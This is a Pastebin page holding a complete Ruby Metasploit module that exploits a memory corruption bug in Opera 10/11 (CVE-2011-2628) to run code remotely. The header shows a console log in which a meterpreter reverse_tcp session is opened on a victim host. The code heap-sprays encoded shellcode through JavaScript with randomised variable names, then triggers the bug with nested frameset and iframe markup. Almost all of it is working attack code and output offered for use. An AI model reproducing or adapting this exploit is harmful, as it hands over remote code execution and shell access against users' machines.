Advertisement
0xde1

Exploit for Opera 10/11 Memory Corruption

Oct 5th, 2011
982
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 11.12 KB | None | 0 0
  1. ###############################################################################################################
  2. # Exploit for Opera 10/11 (bad nesting with frameset tag) Memory Corruption
  3. #
  4. # Vulnerability:
  5. #
  6. # Discovered: 2010-08-18
  7. # Patched: 2011-05-18
  8. # Tested on: v10.xx (v10.00, v10.01, v10.10, v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63)
  9. #                           v11.xx < v11.11 (v11.00, v11.01 and v11.10)
  10. # Patched on: v11.11
  11. #
  12. # Exploit:
  13. #
  14. # Coded: 2010-09-23
  15. # Last revision: 2011-09-30
  16. #
  17. # RCE on: v10.00, v10.50, v10.51, v10.52, v10.54, v10.60, v10.62, v11.00, v11.01 and v11.10*
  18. # DoS on: v10.01, v10.10, v10.53, v10.61 and v10.63
  19. #
  20. # Notes:
  21. #
  22. #   1) DEP bypass: possible but unreliable.
  23. #   2) Let me know if you improve this one ;)
  24. #   3) Most of times, it won't work at first attempt and need crash-dialog interaction.
  25. #
  26. # Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com
  27. #
  28. # Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, etc
  29. #
  30. # Running against Opera v10.62...
  31. #
  32. #
  33. #        =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
  34. # + -- --=[ 741 exploits - 378 auxiliary - 82 post
  35. # + -- --=[ 228 payloads - 27 encoders - 8 nops
  36. #        =[ svn r13801 updated 3 days ago (2011.09.27)
  37. #
  38. # msf > use windows/browser/opera_frameset_tag
  39. # msf  exploit(opera_frameset_tag) > set payload windows/meterpreter/reverse_tcp
  40. # payload => windows/meterpreter/reverse_tcp
  41. # msf  exploit(opera_frameset_tag) > set LHOST 192.168.1.103
  42. # LHOST => 192.168.1.103
  43. # msf  exploit(opera_frameset_tag) > exploit
  44. # [*] Exploit running as background job.
  45. #
  46. # [*] Started reverse handler on 192.168.1.103:4444
  47. # msf  exploit(opera_frameset_tag) >
  48. # [*] Using URL: http://0.0.0.0:8080/sUpFmezLW6jS
  49. # [*]  Local IP: http://192.168.1.103:8080/sUpFmezLW6jS
  50. # [*] Server started.
  51. # [*] Sending Opera 10/11 (bad nesting with frameset tag) Memory Corruption to 192.168.1.104:1185 (target: Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default))
  52. # [*] Sending stage 1 (Spraying the heap)
  53. # [*] Sending stage 2 (Triggering the vulnerability)
  54. # [*] Sending stage 2 (Triggering the vulnerability)
  55. # [*] Sending stage 2 (Triggering the vulnerability)
  56. # [*] Sending stage (752128 bytes) to 192.168.1.104
  57. # [*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.104:1190) at 2011-09-30 19:23:28 +0200
  58. # Interrupt: use the 'exit' command to quit
  59. # msf  exploit(opera_frameset_tag) > sessions
  60. #
  61. # Active sessions
  62. # ===============
  63. #
  64. #   Id  Type                   Information                              Connection
  65. #   --  ----                   -----------                              ----------
  66. #   1   meterpreter x86/win32  0XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12  192.168.1.103:4444 -> 192.168.1.104:1190
  67. #
  68. # msf  exploit(opera_frameset_tag) > sessions -i 1
  69. # [*] Starting interaction with 1...
  70. #
  71. # meterpreter > getuid
  72. # Server username: 0XDE1-A39ED4C12\0xde1
  73. # meterpreter > execute -f  calc.exe
  74. # Process 1336 created.
  75. # meterpreter > exit
  76. # [*] Shutting down Meterpreter...
  77. # msf  exploit(opera_frameset_tag) >
  78. #
  79. ################################################################################################################
  80.  
  81. require 'msf/core'
  82.  
  83. class Metasploit3 < Msf::Exploit::Remote
  84.  
  85.     Rank = NormalRanking
  86.  
  87.     include Msf::Exploit::Remote::HttpServer::HTML
  88.    
  89.     def initialize(info = {})
  90.    
  91.         super(update_info(info,
  92.             'Name'           => 'Opera 10/11 (bad nesting with frameset tag) Memory Corruption',
  93.             'Description'    => %q{
  94.            
  95.                 This module exploits a vulnerability in the nesting of frameset and iframe tags as implemented within
  96.                 Opera Browser. A memory corruption is triggered and some pointers got corrupted with invalid addresses.
  97.                 Successfully exploiting leads to remote code execution or denial of service condition under Windows XP
  98.                 SP3 (DEP = off).
  99.                
  100.                 Note than most of cases, it won't work at first attempt and need crash-dialog interaction.
  101.                 Read the last reference for further details.
  102.                
  103.             },
  104.             'License'        => MSF_LICENSE,
  105.             'Author'         =>
  106.                 [
  107.                     'Jose A. Vazquez'
  108.                 ],
  109.             'Version'        => '$Revision: 0011 $',
  110.             'References'     =>
  111.                 [
  112.                     ['CVE', '2011-2628'],
  113.                     ['OSVDB', '72406'],
  114.                     ['BID', '47906'],
  115.                     ['URL', 'http://www.opera.com/support/kb/view/992/'],
  116.                     ['URL', 'http://www.beyondsecurity.com/ssd.html'],
  117.                     ['URL', 'http://spa-s3c.blogspot.com/2011/05/spas3c-sv-004opera-browser-1111.html'],
  118.                     ['URL', 'http://spa-s3c.blogspot.com/2011/09/spas3c-sv-004reliability-tests-ssd.html']
  119.                 ],
  120.             'DefaultOptions' =>
  121.                 {
  122.                     'EXITFUNC'          => 'process',
  123.                     'HTTP::compression' => 'gzip',
  124.                     'HTTP::chunked'     => true
  125.                 },
  126.             'Payload'        =>
  127.                 {
  128.                     'Space'    => 1000,
  129.                     'BadChars' => "\x00",
  130.                     'Compat'   =>
  131.                         {
  132.                             'ConnectionType' => '-find',
  133.                         },
  134.                     'StackAdjustment' => -3500
  135.                 },
  136.             'Platform'       => 'win',
  137.             'Targets'        =>
  138.                 [
  139.                     # Automatic
  140.                     [ 'Automatic',
  141.                         {}
  142.                     ],
  143.                    
  144.                     # Opera > v10.54 ~ spray of 350 MB
  145.                     [ 'Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)',  
  146.                         {
  147.                             'SizeofSpray' => 700,
  148.                             'Ret' => 0x0c0c0c0c
  149.                         }
  150.                     ],
  151.                    
  152.                     # Opera <= v10.54 ~ spray of 250 MB
  153.                     [ 'Opera Browser (v10.50 - v10.54) / Windows XP SP3 (DEP-default)',  
  154.                         {
  155.                             'SizeofSpray' => 500,
  156.                             'Ret' => 0x0c0c0c0c
  157.                         }
  158.                     ],
  159.                    
  160.                     # Opera < v10.50 doesn't get crashed with previous method and it needs this one.
  161.                     [ 'Opera Browser (v10.00 - v10.10) / Windows XP SP3 (DEP-default)',  
  162.                         {
  163.                             'SizeofSpray' => 500,
  164.                             'Ret' => 0x0c0c0c0c
  165.                         }
  166.                     ]
  167.                 ],
  168.             'DisclosureDate' => '5 October 2011',
  169.             'DefaultTarget'  => 0))
  170.            
  171.     end
  172.    
  173.     #I don't know if Msf::Exploit::Remote::BrowserAutopwn works, but I'm going to include my own auto-target selection
  174.    
  175.     def automatic_target(cli, request)
  176.  
  177.         thistarget = nil
  178.    
  179.         agent = request.headers['User-Agent']
  180.  
  181.         if agent =~ /Version\/10\.00/ or agent =~ /Version\/10\.01/ or agent =~ /Version\/10\.10/
  182.             thistarget = targets[3]
  183.         elsif agent =~ /Version\/10\.50/ or agent =~ /Version\/10\.51/ or agent =~ /Version\/10\.52/ or agent =~ /Version\/10\.53/ or agent =~ /Version\/10\.54/
  184.             thistarget = targets[2]
  185.         else
  186.             thistarget = targets[1]
  187.         end
  188.        
  189.         thistarget
  190.        
  191.     end
  192.    
  193.     def on_request_uri(cli, request)
  194.    
  195.         mytarget = target
  196.        
  197.         if target.name == 'Automatic'
  198.             mytarget = automatic_target(cli, request)
  199.         end
  200.    
  201.         if(request.uri =~ /\.xhtml$/)
  202.        
  203.             #Send file for trigger the vulnerability for cases > v10.10    
  204.                
  205.             html = %Q|
  206.                     <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
  207.                     <meta http-equiv="refresh" content="0;url=" /> 
  208.                         <xht:frameset>
  209.                             <xht:iframe>
  210.                                 <xht:script>
  211.                                 rbc
  212.                                 </xht:script>
  213.                                 <style type="text/css">
  214.                                     <!-- /* padding CSS */
  215.  
  216.                                     approx:root{   
  217.                                         font: 333em;
  218.                                     }
  219.                                     -->
  220.                                 </style>
  221.                             </xht:iframe>
  222.                         </xht:frameset>
  223.                     </html>
  224.                 |
  225.        
  226.             #Send triggerer
  227.        
  228.             print_status("Sending stage 2 (Triggering the vulnerability)")
  229.            
  230.             var_contentype = 'application/xhtml+xml'
  231.            
  232.         else
  233.            
  234.             #Send payload + hide iframe for trigger the vuln
  235.        
  236.             #Re-generate the payload
  237.        
  238.             return if ((p = regenerate_payload(cli)) == nil)
  239.            
  240.             #Encode the shellcode
  241.            
  242.             shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
  243.            
  244.             #Ret
  245.            
  246.             addr_word  = [mytarget.ret].pack('V').unpack('H*')[0][0,4]
  247.            
  248.             #Randomize the javascript variable names
  249.            
  250.             var_buffer      =   rand_text_alpha(rand(30)+2)
  251.             var_shellcode   =   rand_text_alpha(rand(30)+2)
  252.             var_unescape    =   rand_text_alpha(rand(30)+2)
  253.             var_x           =   rand_text_alpha(rand(30)+2)
  254.             var_i           =   rand_text_alpha(rand(30)+2)
  255.  
  256.             var_size        =   rand_text_alpha(rand(30)+2)
  257.             var_nopsize     =   rand_text_alpha(rand(30)+2)
  258.             var_limit       =   rand_text_alpha(rand(30)+2)
  259.            
  260.             var_function_trigger    =   rand_text_alpha(rand(30)+2)
  261.             var_file_trigger    =   rand_text_alpha(rand(30)+2)
  262.            
  263.             var_timer_trigger = (rand(3) + 2) * 1000
  264.            
  265.             #Build the exploit
  266.            
  267.             var_url =  ((datastore['SSL']) ? "https://" : "http://")
  268.             var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
  269.             var_url << ":" + datastore['SRVPORT']
  270.             var_url << get_resource
  271.            
  272.             #Sending init HTML
  273.             print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})")
  274.            
  275.             if mytarget.name =~ /v10.00/
  276.            
  277.             # Case v10.00 - v10.10
  278.            
  279.                 html = %Q|
  280.                     <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
  281.                         <xht:frameset>
  282.                             <xht:iframe>
  283.                                 <xht:script>
  284.                                     aaaaaa
  285.                                 </xht:script>
  286.                             </xht:iframe>
  287.                         </xht:frameset>
  288.                         <script type="text/javascript">
  289.                             <![CDATA[
  290.                                 var #{var_unescape}  = unescape;
  291.                                 var #{var_shellcode} = #{var_unescape}("#{shellcode}");
  292.  
  293.                                 var #{var_size} = #{var_shellcode}.length * 2;
  294.                                 var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);
  295.                                 var #{var_buffer} = #{var_unescape}("%u#{addr_word}");
  296.                                                        
  297.                                 while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {
  298.                                     #{var_buffer} += #{var_buffer};
  299.                                 }
  300.  
  301.                                 var #{var_x} = new Array();
  302.                                    
  303.                                 for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {
  304.                                     #{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};
  305.                                 }
  306.                                 setInterval("location.reload()", 500);
  307.                             ]]>
  308.                         </script>
  309.                     <html>
  310.                     |  
  311.        
  312.                 print_status("Sending simple stage (Sprayer and Triggerer)")
  313.                 var_contentype = 'application/xhtml+xml'
  314.            
  315.             else
  316.            
  317.             # Case > v10.10
  318.            
  319.                 html = %Q|
  320.                         <html>
  321.                             <head>
  322.                                 <script type="text/javascript">
  323.                                     var #{var_unescape}  = unescape;
  324.                                     var #{var_shellcode} = #{var_unescape}("#{shellcode}");
  325.  
  326.                                     var #{var_size} = #{var_shellcode}.length * 2;
  327.                                     var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);
  328.                                     var #{var_buffer} = #{var_unescape}("%u#{addr_word}");
  329.                                                    
  330.                                     while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {
  331.                                         #{var_buffer} += #{var_buffer};
  332.                                     }
  333.  
  334.                                     var #{var_x} = new Array();
  335.                                    
  336.                                     for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {
  337.                                         #{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};
  338.                                     }
  339.                                    
  340.                                     function #{var_function_trigger}(){
  341.                                         document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
  342.                                     }
  343.                                    
  344.                                     setTimeout('#{var_function_trigger}()',#{var_timer_trigger});
  345.                                    
  346.                                 </script>
  347.                             </head>
  348.                         <html>
  349.                     |  
  350.                    
  351.                 print_status("Sending stage 1 (Spraying the heap)")
  352.                 var_contentype = 'text/html'
  353.                
  354.             end
  355.                
  356.         end
  357.    
  358.         #Response
  359.         send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })
  360.         #Handle the payload        
  361.         handler(cli)
  362.        
  363.     end
  364.    
  365. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement